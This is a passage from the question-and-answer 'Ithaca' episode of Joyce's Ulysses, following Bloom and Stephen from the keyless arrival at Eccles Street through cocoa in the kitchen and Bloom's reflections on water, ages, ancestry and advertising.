he was with any as any with any: from existence +to nonexistence gone he would be by all as none perceived. + +What act did Bloom make on their arrival at their destination? + +At the housesteps of the 4th Of the equidifferent uneven numbers, number +7 Eccles street, he inserted his hand mechanically into the back pocket +of his trousers to obtain his latchkey. + +Was it there? + +It was in the corresponding pocket of the trousers which he had worn on +the day but one preceding. + +Why was he doubly irritated? + +Because he had forgotten and because he remembered that he had reminded +himself twice not to forget. + +What were then the alternatives before the, premeditatedly (respectively) +and inadvertently, keyless couple? + +To enter or not to enter. To knock or not to knock. + +Bloom's decision? + +A stratagem. Resting his feet on the dwarf wall, he climbed over the area +railings, compressed his hat on his head, grasped two points at the lower +union of rails and stiles, lowered his body gradually by its length of +five feet nine inches and a half to within two feet ten inches of the +area pavement and allowed his body to move freely in space by separating +himself from the railings and crouching in preparation for the impact of +the fall. + +Did he fall? + +By his body's known weight of eleven stone and four pounds in avoirdupois +measure, as certified by the graduated machine for periodical +selfweighing in the premises of Francis Froedman, pharmaceutical chemist +of 19 Frederick street, north, on the last feast of the Ascension, to +wit, the twelfth day of May of the bissextile year one thousand nine +hundred and four of the christian era (jewish era five thousand six +hundred and sixtyfour, mohammadan era one thousand three hundred and +twentytwo), golden number 5, epact 13, solar cycle 9, dominical letters C +B, Roman indiction 2, Julian period 6617, MCMIV. + +Did he rise uninjured by concussion? + +Regaining new stable equilibrium he rose uninjured though concussed by +the impact, raised the latch of the area door by the exertion of force at +its freely moving flange and by leverage of the first kind applied at its +fulcrum, gained retarded access to the kitchen through the subadjacent +scullery, ignited a lucifer match by friction, set free inflammable coal +gas by turningon the ventcock, lit a high flame which, by regulating, he +reduced to quiescent candescence and lit finally a portable candle. + +What discrete succession of images did Stephen meanwhile perceive? + +Reclined against the area railings he perceived through the transparent +kitchen panes a man regulating a gasflame of 14 CP, a man lighting a +candle of 1 CP, a man removing in turn each of his two boots, a man +leaving the kitchen holding a candle. + +Did the man reappear elsewhere? + +After a lapse of four minutes the glimmer of his candle was discernible +through the semitransparent semicircular glass fanlight over the +halldoor. The halldoor turned gradually on its hinges. In the open space +of the doorway the man reappeared without his hat, with his candle. + +Did Stephen obey his sign? + +Yes, entering softly, he helped to close and chain the door and followed +softly along the hallway the man's back and listed feet and lighted +candle past a lighted crevice of doorway on the left and carefully down a +turning staircase of more than five steps into the kitchen of Bloom's +house. + +What did Bloom do? + +He extinguished the candle by a sharp expiration of breath upon its +flame, drew two spoonseat deal chairs to the hearthstone, one for Stephen +with its back to the area window, the other for himself when necessary, +knelt on one knee, composed in the grate a pyre of crosslaid resintipped +sticks and various coloured papers and irregular polygons of best Abram +coal at twentyone shillings a ton from the yard of Messrs Flower and +M'Donald of 14 D'Olier street, kindled it at three projecting points of +paper with one ignited lucifer match, thereby releasing the potential +energy contained in the fuel by allowing its carbon and hydrogen elements +to enter into free union with the oxygen of the air. + +Of what similar apparitions did Stephen think? + +Of others elsewhere in other times who, kneeling on one knee or on two, +had kindled fires for him, of Brother Michael in the infirmary of the +college of the Society of Jesus at Clongowes Wood, Sallins, in the county +of Kildare: of his father, Simon Dedalus, in an unfurnished room of his +first residence in Dublin, number thirteen Fitzgibbon street: of his +godmother Miss Kate Morkan in the house of her dying sister Miss Julia +Morkan at 15 Usher's Island: of his aunt Sara, wife of Richie (Richard) +Goulding, in the kitchen of their lodgings at 62 Clanbrassil street: of +his mother Mary, wife of Simon Dedalus, in the kitchen of number twelve +North Richmond street on the morning of the feast of Saint Francis Xavier +1898: of the dean of studies, Father Butt, in the physics' theatre of +university College, 16 Stephen's Green, north: of his sister Dilly +(Delia) in his father's house in Cabra. + +What did Stephen see on raising his gaze to the height of a yard from the +fire towards the opposite wall? + +Under a row of five coiled spring housebells a curvilinear rope, +stretched between two holdfasts athwart across the recess beside the +chimney pier, from which hung four smallsized square handkerchiefs folded +unattached consecutively in adjacent rectangles and one pair of ladies' +grey hose with Lisle suspender tops and feet in their habitual position +clamped by three erect wooden pegs two at their outer extremities and the +third at their point of junction. + +What did Bloom see on the range? + +On the right (smaller) hob a blue enamelled saucepan: on the left +(larger) hob a black iron kettle. + +What did Bloom do at the range? + +He removed the saucepan to the left hob, rose and carried the iron kettle +to the sink in order to tap the current by turning the faucet to let it +flow. + +Did it flow? + +Yes. From Roundwood reservoir in county Wicklow of a cubic capacity of +2400 million gallons, percolating through a subterranean aqueduct of +filter mains of single and double pipeage constructed at an initial plant +cost of 5 pounds per linear yard by way of the Dargle, Rathdown, Glen of +the Downs and Callowhill to the 26 acre reservoir at Stillorgan, a +distance of 22 statute miles, and thence, through a system of relieving +tanks, by a gradient of 250 feet to the city boundary at Eustace bridge, +upper Leeson street, though from prolonged summer drouth and daily supply +of 12 1/2 million gallons the water had fallen below the sill of the +overflow weir for which reason the borough surveyor and waterworks +engineer, Mr Spencer Harty, C. E., on the instructions of the waterworks +committee had prohibited the use of municipal water for purposes other +than those of consumption (envisaging the possibility of recourse being +had to the impotable water of the Grand and Royal canals as in 1893) +particularly as the South Dublin Guardians, notwithstanding their ration +of 15 gallons per day per pauper supplied through a 6 inch meter, had +been convicted of a wastage of 20,000 gallons per night by a reading of +their meter on the affirmation of the law agent of the corporation, Mr +Ignatius Rice, solicitor, thereby acting to the detriment of another +section of the public, selfsupporting taxpayers, solvent, sound. + +What in water did Bloom, waterlover, drawer of water, watercarrier, +returning to the range, admire? + +Its universality: its democratic equality and constancy to its nature in +seeking its own level: its vastness in the ocean of Mercator's +projection: its unplumbed profundity in the Sundam trench of the Pacific +exceeding 8000 fathoms: the restlessness of its waves and surface +particles visiting in turn all points of its seaboard: the independence +of its units: the variability of states of sea: its hydrostatic +quiescence in calm: its hydrokinetic turgidity in neap and spring tides: +its subsidence after devastation: its sterility in the circumpolar +icecaps, arctic and antarctic: its climatic and commercial significance: +its preponderance of 3 to 1 over the dry land of the globe: its +indisputable hegemony extending in square leagues over all the region +below the subequatorial tropic of Capricorn: the multisecular stability +of its primeval basin: its luteofulvous bed: its capacity to dissolve and +hold in solution all soluble substances including millions of tons of the +most precious metals: its slow erosions of peninsulas and islands, its +persistent formation of homothetic islands, peninsulas and +downwardtending promontories: its alluvial deposits: its weight and +volume and density: its imperturbability in lagoons and highland tarns: +its gradation of colours in the torrid and temperate and frigid zones: +its vehicular ramifications in continental lakecontained streams and +confluent oceanflowing rivers with their tributaries and transoceanic +currents, gulfstream, north and south equatorial courses: its violence in +seaquakes, waterspouts, Artesian wells, eruptions, torrents, eddies, +freshets, spates, groundswells, watersheds, waterpartings, geysers, +cataracts, whirlpools, maelstroms, inundations, deluges, cloudbursts: its +vast circumterrestrial ahorizontal curve: its secrecy in springs and +latent humidity, revealed by rhabdomantic or hygrometric instruments and +exemplified by the well by the hole in the wall at Ashtown gate, +saturation of air, distillation of dew: the simplicity of its +composition, two constituent parts of hydrogen with one constituent part +of oxygen: its healing virtues: its buoyancy in the waters of the Dead +Sea: its persevering penetrativeness in runnels, gullies, inadequate +dams, leaks on shipboard: its properties for cleansing, quenching thirst +and fire, nourishing vegetation: its infallibility as paradigm and +paragon: its metamorphoses as vapour, mist, cloud, rain, sleet, snow, +hail: its strength in rigid hydrants: its variety of forms in loughs and +bays and gulfs and bights and guts and lagoons and atolls and +archipelagos and sounds and fjords and minches and tidal estuaries and +arms of sea: its solidity in glaciers, icebergs, icefloes: its docility +in working hydraulic millwheels, turbines, dynamos, electric power +stations, bleachworks, tanneries, scutchmills: its utility in canals, +rivers, if navigable, floating and graving docks: its potentiality +derivable from harnessed tides or watercourses falling from level to +level: its submarine fauna and flora (anacoustic, photophobe), +numerically, if not literally, the inhabitants of the globe: its ubiquity +as constituting 90 percent of the human body: the noxiousness of its +effluvia in lacustrine marshes, pestilential fens, faded flowerwater, +stagnant pools in the waning moon. + +Having set the halffilled kettle on the now burning coals, why did he +return to the stillflowing tap? + +To wash his soiled hands with a partially consumed tablet of Barrington's +lemonflavoured soap, to which paper still adhered, (bought thirteen hours +previously for fourpence and still unpaid for), in fresh cold +neverchanging everchanging water and dry them, face and hands, in a long +redbordered holland cloth passed over a wooden revolving roller. + +What reason did Stephen give for declining Bloom's offer? + +That he was hydrophobe, hating partial contact by immersion or total by +submersion in cold water, (his last bath having taken place in the month +of October of the preceding year), disliking the aqueous substances of +glass and crystal, distrusting aquacities of thought and language. + +What impeded Bloom from giving Stephen counsels of hygiene and +prophylactic to which should be added suggestions concerning a +preliminary wetting of the head and contraction of the muscles with rapid +splashing of the face and neck and thoracic and epigastric region in case +of sea or river bathing, the parts of the human anatomy most sensitive to +cold being the nape, stomach and thenar or sole of foot? + +The incompatibility of aquacity with the erratic originality of genius. + +What additional didactic counsels did he similarly repress? + +Dietary: concerning the respective percentage of protein and caloric +energy in bacon, salt ling and butter, the absence of the former in the +lastnamed and the abundance of the latter in the firstnamed. + +Which seemed to the host to be the predominant qualities of his guest? + +Confidence in himself, an equal and opposite power of abandonment and +recuperation. + +What concomitant phenomenon took place in the vessel of liquid by the +agency of fire? + +The phenomenon of ebullition. Fanned by a constant updraught of +ventilation between the kitchen and the chimneyflue, ignition was +communicated from the faggots of precombustible fuel to polyhedral masses +of bituminous coal, containing in compressed mineral form the foliated +fossilised decidua of primeval forests which had in turn derived their +vegetative existence from the sun, primal source of heat (radiant), +transmitted through omnipresent luminiferous diathermanous ether. Heat +(convected), a mode of motion developed by such combustion, was +constantly and increasingly conveyed from the source of calorification to +the liquid contained in the vessel, being radiated through the uneven +unpolished dark surface of the metal iron, in part reflected, in part +absorbed, in part transmitted, gradually raising the temperature of the +water from normal to boiling point, a rise in temperature expressible as +the result of an expenditure of 72 thermal units needed to raise 1 pound +of water from 50 degrees to 212 degrees Fahrenheit. + +What announced the accomplishment of this rise in temperature? + +A double falciform ejection of water vapour from under the kettlelid at +both sides simultaneously. + +For what personal purpose could Bloom have applied the water so boiled? + +To shave himself. + +What advantages attended shaving by night? + +A softer beard: a softer brush if intentionally allowed to remain from +shave to shave in its agglutinated lather: a softer skin if unexpectedly +encountering female acquaintances in remote places at incustomary hours: +quiet reflections upon the course of the day: a cleaner sensation when +awaking after a fresher sleep since matutinal noises, premonitions and +perturbations, a clattered milkcan, a postman's double knock, a paper +read, reread while lathering, relathering the same spot, a shock, a +shoot, with thought of aught he sought though fraught with nought might +cause a faster rate of shaving and a nick on which incision plaster with +precision cut and humected and applied adhered: which was to be done. + +Why did absence of light disturb him less than presence of noise? + +Because of the surety of the sense of touch in his firm full masculine +feminine passive active hand. + +What quality did it (his hand) possess but with what counteracting +influence? + +The operative surgical quality but that he was reluctant to shed human +blood even when the end justified the means, preferring, in their natural +order, heliotherapy, psychophysicotherapeutics, osteopathic surgery. + +What lay under exposure on the lower, middle and upper shelves of the +kitchen dresser, opened by Bloom? + +On the lower shelf five vertical breakfast plates, six horizontal +breakfast saucers on which rested inverted breakfast cups, a +moustachecup, uninverted, and saucer of Crown Derby, four white +goldrimmed eggcups, an open shammy purse displaying coins, mostly copper, +and a phial of aromatic (violet) comfits. On the middle shelf a chipped +eggcup containing pepper, a drum of table salt, four conglomerated black +olives in oleaginous paper, an empty pot of Plumtree's potted meat, an +oval wicker basket bedded with fibre and containing one Jersey pear, a +halfempty bottle of William Gilbey and Co's white invalid port, half +disrobed of its swathe of coralpink tissue paper, a packet of Epps's +soluble cocoa, five ounces of Anne Lynch's choice tea at 2/- per lb in a +crinkled leadpaper bag, a cylindrical canister containing the best +crystallised lump sugar, two onions, one, the larger, Spanish, entire, +the other, smaller, Irish, bisected with augmented surface and more +redolent, a jar of Irish Model Dairy's cream, a jug of brown crockery +containing a naggin and a quarter of soured adulterated milk, converted +by heat into water, acidulous serum and semisolidified curds, which added +to the quantity subtracted for Mr Bloom's and Mrs Fleming's breakfasts, +made one imperial pint, the total quantity originally delivered, two +cloves, a halfpenny and a small dish containing a slice of fresh +ribsteak. On the upper shelf a battery of jamjars (empty) of various +sizes and proveniences. + +What attracted his attention lying on the apron of the dresser? + +Four polygonal fragments of two lacerated scarlet betting tickets, +numbered 8 87, 88 6. + +What reminiscences temporarily corrugated his brow? + +Reminiscences of coincidences, truth stranger than fiction, preindicative +of the result of the Gold Cup flat handicap, the official and definitive +result of which he had read in the EVENING TELEGRAPH, late pink edition, +in the cabman's shelter, at Butt bridge. + +Where had previous intimations of the result, effected or projected, been +received by him? + +In Bernard Kiernan's licensed premises 8, 9 and 10 little Britain street: +in David Byrne's licensed premises, 14 Duke street: in O'Connell street +lower, outside Graham Lemon's when a dark man had placed in his hand a +throwaway (subsequently thrown away), advertising Elijah, restorer of the +church in Zion: in Lincoln place outside the premises of F. W. Sweny and +Co (Limited), dispensing chemists, when, when Frederick M. (Bantam) Lyons +had rapidly and successively requested, perused and restituted the copy +of the current issue of the FREEMAN'S JOURNAL AND NATIONAL PRESS which he +had been about to throw away (subsequently thrown away), he had proceeded +towards the oriental edifice of the Turkish and Warm Baths, 11 Leinster +street, with the light of inspiration shining in his countenance and +bearing in his arms the secret of the race, graven in the language of +prediction. + +What qualifying considerations allayed his perturbations? + +The difficulties of interpretation since the significance of any event +followed its occurrence as variably as the acoustic report followed the +electrical discharge and of counterestimating against an actual loss by +failure to interpret the total sum of possible losses proceeding +originally from a successful interpretation. + +His mood? + +He had not risked, he did not expect, he had not been disappointed, he +was satisfied. + +What satisfied him? + +To have sustained no positive loss. To have brought a positive gain to +others. Light to the gentiles. + +How did Bloom prepare a collation for a gentile? + +He poured into two teacups two level spoonfuls, four in all, of Epps's +soluble cocoa and proceeded according to the directions for use printed +on the label, to each adding after sufficient time for infusion the +prescribed ingredients for diffusion in the manner and in the quantity +prescribed. + +What supererogatory marks of special hospitality did the host show his +guest? + +Relinquishing his symposiarchal right to the moustache cup of imitation +Crown Derby presented to him by his only daughter, Millicent (Milly), he +substituted a cup identical with that of his guest and served +extraordinarily to his guest and, in reduced measure, to himself the +viscous cream ordinarily reserved for the breakfast of his wife Marion +(Molly). + +Was the guest conscious of and did he acknowledge these marks of +hospitality? + +His attention was directed to them by his host jocosely, and he accepted +them seriously as they drank in jocoserious silence Epps's massproduct, +the creature cocoa. + +Were there marks of hospitality which he contemplated but suppressed, +reserving them for another and for himself on future occasions to +complete the act begun? + +The reparation of a fissure of the length of 1 1/2 inches in the right +side of his guest's jacket. A gift to his guest of one of the four lady's +handkerchiefs, if and when ascertained to be in a presentable condition. + +Who drank more quickly? + +Bloom, having the advantage of ten seconds at the initiation and taking, +from the concave surface of a spoon along the handle of which a steady +flow of heat was conducted, three sips to his opponent's one, six to two, +nine to three. + +What cerebration accompanied his frequentative act? + +Concluding by inspection but erroneously that his silent companion was +engaged in mental composition he reflected on the pleasures derived from +literature of instruction rather than of amusement as he himself had +applied to the works of William Shakespeare more than once for the +solution of difficult problems in imaginary or real life. + +Had he found their solution? + +In spite of careful and repeated reading of certain classical passages, +aided by a glossary, he had derived imperfect conviction from the text, +the answers not bearing in all points. + +What lines concluded his first piece of original verse written by him, +potential poet, at the age of 11 in 1877 on the occasion of the offering +of three prizes of 10/-, 5/- and 2/6 respectively for competition by the +SHAMROCK, a weekly newspaper? + + + AN AMBITION TO SQUINT + AT MY VERSES IN PRINT + MAKES ME HOPE THAT FOR THESE YOU'LL FIND ROOM. + IF YOU SO CONDESCEND + THEN PLEASE PLACE AT THE END + THE NAME OF YOURS TRULY, L. BLOOM. + + +Did he find four separating forces between his temporary guest and him? + +Name, age, race, creed. + +What anagrams had he made on his name in youth? + + + Leopold Bloom + Ellpodbomool + Molldopeloob + Bollopedoom + Old Ollebo, M. P. + + +What acrostic upon the abbreviation of his first name had he (kinetic +poet) sent to Miss Marion (Molly) Tweedy on the 14 February 1888? + + POETS OFT HAVE SUNG IN RHYME + OF MUSIC SWEET THEIR PRAISE DIVINE. + LET THEM HYMN IT NINE TIMES NINE. + DEARER FAR THAN SONG OR WINE. + YOU ARE MINE. THE WORLD IS MINE. + + +What had prevented him from completing a topical song (music by R. G. +Johnston) on the events of the past, or fixtures for the actual, years, +entitled IF BRIAN BORU COULD BUT COME BACK AND SEE OLD DUBLIN NOW, +commissioned by Michael Gunn, lessee of the Gaiety Theatre, 46, 47, 48, +49 South King street, and to be introduced into the sixth scene, the +valley of diamonds, of the second edition (30 January 1893) of the grand +annual Christmas pantomime SINBAD THE SAILOR (produced by R Shelton 26 +December 1892, written by Greenleaf Whittier, scenery by George A. +Jackson and Cecil Hicks, costumes by Mrs and Miss Whelan under the +personal supervision of Mrs Michael Gunn, ballets by Jessie Noir, +harlequinade by Thomas Otto) and sung by Nelly Bouverist, principal girl? + +Firstly, oscillation between events of imperial and of local interest, +the anticipated diamond jubilee of Queen Victoria (born 1820, acceded +1837) and the posticipated opening of the new municipal fish market: +secondly, apprehension of opposition from extreme circles on the +questions of the respective visits of Their Royal Highnesses the duke and +duchess of York (real) and of His Majesty King Brian Boru (imaginary): +thirdly, a conflict between professional etiquette and professional +emulation concerning the recent erections of the Grand Lyric Hall on +Burgh Quay and the Theatre Royal in Hawkins street: fourthly, distraction +resultant from compassion for Nelly Bouverist's non-intellectual, non- +political, non-topical expression of countenance and concupiscence caused +by Nelly Bouverist's revelations of white articles of non-intellectual, +non-political, non-topical underclothing while she (Nelly Bouverist) was +in the articles: fifthly, the difficulties of the selection of +appropriate music and humorous allusions from EVERYBODY'S BOOK OF JOKES +(1000 pages and a laugh in every one): sixthly, the rhymes, homophonous +and cacophonous, associated with the names of the new lord mayor, Daniel +Tallon, the new high sheriff, Thomas Pile and the new solicitorgeneral, +Dunbar Plunket Barton. + +What relation existed between their ages? + +16 years before in 1888 when Bloom was of Stephen's present age Stephen +was 6. 16 years after in 1920 when Stephen would be of Bloom's present +age Bloom would be 54. In 1936 when Bloom would be 70 and Stephen 54 +their ages initially in the ratio of 16 to 0 would be as 17 1/2 to 13 +1/2, the proportion increasing and the disparity diminishing according as +arbitrary future years were added, for if the proportion existing in 1883 +had continued immutable, conceiving that to be possible, till then 1904 +when Stephen was 22 Bloom would be 374 and in 1920 when Stephen would be +38, as Bloom then was, Bloom would be 646 while in 1952 when Stephen +would have attained the maximum postdiluvian age of 70 Bloom, being 1190 +years alive having been born in the year 714, would have surpassed by 221 +years the maximum antediluvian age, that of Methusalah, 969 years, while, +if Stephen would continue to live until he would attain that age in the +year 3072 A.D., Bloomwould have been obliged to have been alive 83,300 +years, having been obliged to have been born in the year 81,396 B.C. + +What events might nullify these calculations? + +The cessation of existence of both or either, the inauguration of a new +era or calendar, the annihilation of the world and consequent +extermination of the human species, inevitable but impredictable. + +How many previous encounters proved their preexisting acquaintance? + +Two. The first in the lilacgarden of Matthew Dillon's house, Medina +Villa, Kimmage road, Roundtown, in 1887, in the company of Stephen's +mother, Stephen being then of the age of 5 and reluctant to give his hand +in salutation. The second in the coffeeroom of Breslin's hotel on a rainy +Sunday in the January of 1892, in the company of Stephen's father and +Stephen's granduncle, Stephen being then 5 years older. + +Did Bloom accept the invitation to dinner given then by the son and +afterwards seconded by the father? + +Very gratefully, with grateful appreciation, with sincere appreciative +gratitude, in appreciatively grateful sincerity of regret, he declined. + +Did their conversation on the subject of these reminiscences reveal a +third connecting link between them? + +Mrs Riordan (Dante), a widow of independent means, had resided in the +house of Stephen's parents from 1 September 1888 to 29 December 1891 and +had also resided during the years 1892, 1893 and 1894 in the City Arms +Hotel owned by Elizabeth O'Dowd of 54 Prussia street where, during parts +of the years 1893 and 1894, she had been a constant informant of Bloom +who resided also in the same hotel, being at that time a clerk in the +employment of Joseph Cuffe of 5 Smithfield for the superintendence of +sales in the adjacent Dublin Cattle market on the North Circular road. + +Had he performed any special corporal work of mercy for her? + +He had sometimes propelled her on warm summer evenings, an infirm widow +of independent, if limited, means, in her convalescent bathchair with +slow revolutions of its wheels as far as the corner of the North Circular +road opposite Mr Gavin Low's place of business where she had remained for +a certain time scanning through his onelensed binocular fieldglasses +unrecognisable citizens on tramcars, roadster bicycles equipped with +inflated pneumatic tyres, hackney carriages, tandems, private and hired +landaus, dogcarts, ponytraps and brakes passing from the city to the +Phoenix Park and vice versa. + +Why could he then support that his vigil with the greater equanimity? + +Because in middle youth he had often sat observing through a rondel of +bossed glass of a multicoloured pane the spectacle offered with continual +changes of the thoroughfare without, pedestrians, quadrupeds, +velocipedes, vehicles, passing slowly, quickly, evenly, round and round +and round the rim of a round and round precipitous globe. + +What distinct different memories had each of her now eight years +deceased? + +The older, her bezique cards and counters, her Skye terrier, her +suppositious wealth, her lapses of responsiveness and incipient catarrhal +deafness: the younger, her lamp of colza oil before the statue of the +Immaculate Conception, her green and maroon brushes for Charles Stewart +Parnell and for Michael Davitt, her tissue papers. + +Were there no means still remaining to him to achieve the rejuvenation +which these reminiscences divulged to a younger companion rendered the +more desirable? + +The indoor exercises, formerly intermittently practised, subsequently +abandoned, prescribed in Eugen Sandow's PHYSICAL STRENGTH AND HOW TO +OBTAIN IT which, designed particularly for commercial men engaged in +sedentary occupations, were to be made with mental concentration in front +of a mirror so as to bring into play the various families of muscles and +produce successively a pleasant rigidity, a more pleasant relaxation and +the most pleasant repristination of juvenile agility. + +Had any special agility been his in earlier youth? + +Though ringweight lifting had been beyond his strength and the full +circle gyration beyond his courage yet as a High school scholar he had +excelled in his stable and protracted execution of the half lever +movement on the parallel bars in consequence of his abnormally developed +abdominal muscles. + +Did either openly allude to their racial difference? + +Neither. + +What, reduced to their simplest reciprocal form, were Bloom's thoughts +about Stephen's thoughts about Bloom and about Stephen's thoughts about +Bloom's thoughts about Stephen? + +He thought that he thought that he was a jew whereas he knew that he knew +that he knew that he was not. + +What, the enclosures of reticence removed, were their respective +parentages? + +Bloom, only born male transubstantial heir of Rudolf Virag (subsequently +Rudolph Bloom) of Szombathely, Vienna, Budapest, Milan, London and Dublin +and of Ellen Higgins, second daughter of Julius Higgins (born Karoly) and +Fanny Higgins (born Hegarty). Stephen, eldest surviving male +consubstantial heir of Simon Dedalus of Cork and Dublin and of Mary, +daughter of Richard and Christina Goulding (born Grier). + +Had Bloom and Stephen been baptised, and where and by whom, cleric or +layman? + +Bloom (three times), by the reverend Mr Gilmer Johnston M. A., alone, in +the protestant church of Saint Nicholas Without, Coombe, by James +O'Connor, Philip Gilligan and James Fitzpatrick, together, under a pump +in the village of Swords, and by the reverend Charles Malone C. C., in +the church of the Three Patrons, Rathgar. Stephen (once) by the reverend +Charles Malone C. C., alone, in the church of the Three Patrons, Rathgar. + +Did they find their educational careers similar? + +Substituting Stephen for Bloom Stoom would have passed successively +through a dame's school and the high school. Substituting Bloom for +Stephen Blephen would have passed successively through the preparatory, +junior, middle and senior grades of the intermediate and through the +matriculation, first arts, second arts and arts degree courses of the +royal university. + +Why did Bloom refrain from stating that he had frequented the university +of life? + +Because of his fluctuating incertitude as to whether this observation had +or had not been already made by him to Stephen or by Stephen to him. + +What two temperaments did they individually represent? + +The scientific. The artistic. + +What proofs did Bloom adduce to prove that his tendency was towards +applied, rather than towards pure, science? + +Certain possible inventions of which he had cogitated when reclining in a +state of supine repletion to aid digestion, stimulated by his +appreciation of the importance of inventions now common but once +revolutionary, for example, the aeronautic parachute, the reflecting +telescope, the spiral corkscrew, the safety pin, the mineral water +siphon, the canal lock with winch and sluice, the suction pump. + +Were these inventions principally intended for an improved scheme of +kindergarten? + +Yes, rendering obsolete popguns, elastic airbladders, games of hazard, +catapults. They comprised astronomical kaleidoscopes exhibiting the +twelve constellations of the zodiac from Aries to Pisces, miniature +mechanical orreries, arithmetical gelatine lozenges, geometrical to +correspond with zoological biscuits, globemap playing balls, historically +costumed dolls. + +What also stimulated him in his cogitations? + +The financial success achieved by Ephraim Marks and Charles A. James, the +former by his 1d bazaar at 42 George's street, south, the latter at his +6-1/2d shop and world's fancy fair and waxwork exhibition at 30 Henry +street, admission 2d, children 1d: and the infinite possibilities +hitherto unexploited of the modern art of advertisement if condensed in +triliteral monoideal symbols, vertically of maximum visibility (divined), +horizontally of maximum legibility (deciphered) and of magnetising +efficacy to arrest involuntary attention, to interest, to convince, to +decide. + +Such as? + +K. II. Kino's 11/- Trousers. House of Keys. Alexander J. Keyes. + +Such as not? + +Look at this long candle. Calculate when it burns out and you receive +gratis 1 pair of our special non-compo boots, guaranteed 1 candle power. +Address: Barclay and Cook, 18 Talbot street. + +Bacilikil (Insect Powder). Veribest (Boot Blacking). Uwantit (Combined +pocket twoblade penknife with corkscrew, nailfile and pipecleaner). + +Such as never? + +What is home without Plumtree's Potted Meat? + +Incomplete. + +With it an abode of bliss. + +Manufactured by George Plumtree, 23 Merchants' quay, Dublin, put up in 4 +oz pots, and inserted by Councillor Joseph P. Nannetti, M. P., Rotunda +Ward, 19 Hardwicke street, under the obituary notices and anniversaries +of deceases. The name on the label is Plumtree. A plumtree in a meatpot, +registered trade mark. Beware of imitations. Peatmot. Trumplee. Moutpat. +Plamtroo. + +Which example did he adduce to induce Stephen to deduce that originality, +though producing its own reward, does not invariably conduce to success? + +His own ideated and rejected project of an illuminated showcart, drawn by +a beast of burden, in which two smartly dressed girls were to be seated +engaged in writing. + +What suggested scene was then constructed by Stephen? + +Solitary hotel in mountain pass. Autumn. Twilight. Fire lit. In dark +corner young man seated. Young woman enters. Restless. Solitary. She +sits. She goes to window. She stands. She sits. Twilight. She thinks. On +solitary hotel paper she writes. She thinks. She writes. She sighs. +Wheels and hoofs. She hurries out. He comes from his dark corner. He +seizes solitary paper. He holds it towards fire. Twilight. He reads. +Solitary. + +What? + +In sloping, upright and backhands: Queen's Hotel, Queen's Hotel, Queen's +Hotel. Queen's Ho... + +What suggested scene was then reconstructed by Bloom? + +The Queen's Hotel, Ennis, county Clare, where Rudolph Bloom (Rudolf +Virag) died on the evening of the 27 June 1886, at some hour unstated, in +consequence of an overdose of monkshood (aconite) selfadministered in the +form of a neuralgic liniment composed of 2 parts of aconite liniment to I +of chloroform liniment (purchased by him at 10.20 a.m. on the morning of +27 June 1886 at the medical hall of Francis Dennehy, 17 Church street, +Ennis) after having, though not in consequence of having, purchased at +3.15 p.m. on the afternoon of 27 June 1886 a new boater straw hat, extra +smart (after having, though not in consequence of having, purchased at +the hour and in the place aforesaid, the toxin aforesaid), at the general +drapery store of James Cullen, 4 Main street, Ennis. + +Did he attribute this homonymity to information or coincidence or +intuition? + +Coincidence. + +Did he depict the scene verbally for his guest to see? + +He preferred himself to see another's face and listen to another's words +by which potential narration was realised and kinetic temperament +relieved. + +Did he see only a second coincidence in the second scene narrated to him, +described by the narrator as A PISGAH SIGHT OF PALESTINE OR THE PARABLE +OF THE PLUMS? + +It, with the preceding scene and with others unnarrated but existent by +implication, to which add essays on various subjects or moral apothegms +(e.g. MY FAVOURITE HERO OR PROCRASTINATION IS THE THIEF OF TIME) composed +during schoolyears, seemed to him to contain in itself and in conjunction +with the personal equation certain possibilities of financial, social, +personal and sexual success, whether specially collected and selected as +model pedagogic themes (of cent per cent merit) for the use of +preparatory and junior grade students or contributed in printed form, +following the precedent of Philip Beaufoy or Doctor Dick or Heblon's +STUDIES IN BLUE, to a publication of certified circulation and solvency +or employed verbally as intellectual stimulation for sympathetic +auditors, tacitly appreciative of successful narrative and confidently +augurative of successful achievement, during the increasingly longer +nights gradually following the summer solstice on the day but three +following, videlicet, Tuesday, 21 June (S. Aloysius Gonzaga), sunrise +3.33 a.m., sunset 8.29 p.m. + +Which domestic problem as much as, if not more than, any other frequently +engaged his mind? + +What to do with our wives. + +What had been his hypothetical singular solutions? + +Parlour games (dominos, halma, tiddledywinks, spilikins, cup and ball, +nap, spoil five, bezique, twentyfive, beggar my neighbour, draughts, +chess or backgammon): embroidery, darning or knitting for the policeaided +clothing society: musical duets, mandoline and guitar, piano and flute, +guitar and piano: legal scrivenery or envelope addressing: biweekly +visits to variety entertainments: commercial activity as pleasantly +commanding and pleasingly obeyed mistress proprietress in a cool dairy +shop or warm cigar divan: the clandestine satisfaction of erotic +irritation in masculine brothels, state inspected and medically +controlled: social visits, at regular infrequent prevented intervals and +with regular frequent preventive superintendence, to and from female +acquaintances of recognised respectability in the vicinity: courses of +evening instruction specially designed to render liberal instruction +agreeable. + +What instances of deficient mental development in his wife inclined him +in favour of the lastmentioned (ninth) solution? + +In disoccupied moments she had more than once covered a sheet of paper +with signs and hieroglyphics which she stated were Greek and Irish and +Hebrew characters. She had interrogated constantly at varying intervals +as to the correct method of writing the capital initial of the name of a +city in Canada, Quebec. She understood little of political complications, +internal, or balance of power, external. In calculating the addenda of +bills she frequently had recourse to digital aid. After completion of +laconic epistolary compositions she abandoned the implement of +calligraphy in the encaustic pigment, exposed to the corrosive action of +copperas, green vitriol and nutgall. Unusual polysyllables of foreign +origin she interpreted phonetically or by false analogy or by both: +metempsychosis (met him pike hoses), ALIAS (a mendacious person mentioned +in sacred scripture). + +What compensated in the false balance of her intelligence for these and +such deficiencies of judgment regarding persons, places and things? + +The false apparent parallelism of all perpendicular arms of all balances, +proved true by construction. The counterbalance of her proficiency of +judgment regarding one person, proved true by experiment. + +How had he attempted to remedy this state of comparative ignorance? + +Variously. By leaving in a conspicuous place a certain book open at a +certain page: by assuming in her, when alluding explanatorily, latent +knowledge: by open ridicule in her presence of some absent other's +ignorant lapse. + +With what success had he attempted direct instruction? + +She followed not all, a part of the whole, gave attention with interest +comprehended with surprise, with care repeated, with greater difficulty +remembered, forgot with ease, with misgiving reremembered, rerepeated +with error. + +What system had proved more effective? + +Indirect suggestion implicating selfinterest. + +Example? + +She disliked umbrella with rain, he liked woman with umbrella, she +disliked new hat with rain, he liked woman with new hat, he bought new +hat with rain, she carried umbrella with new hat. + +Accepting the analogy implied in his guest's parable which examples of +postexilic eminence did he adduce? + +Three seekers of the pure truth, Moses of Egypt, Moses Maimonides, author +of MORE NEBUKIM (Guide of the Perplexed) and Moses Mendelssohn of such +eminence that from Moses (of Egypt) to Moses (Mendelssohn) there arose +none like Moses (Maimonides). + +What statement 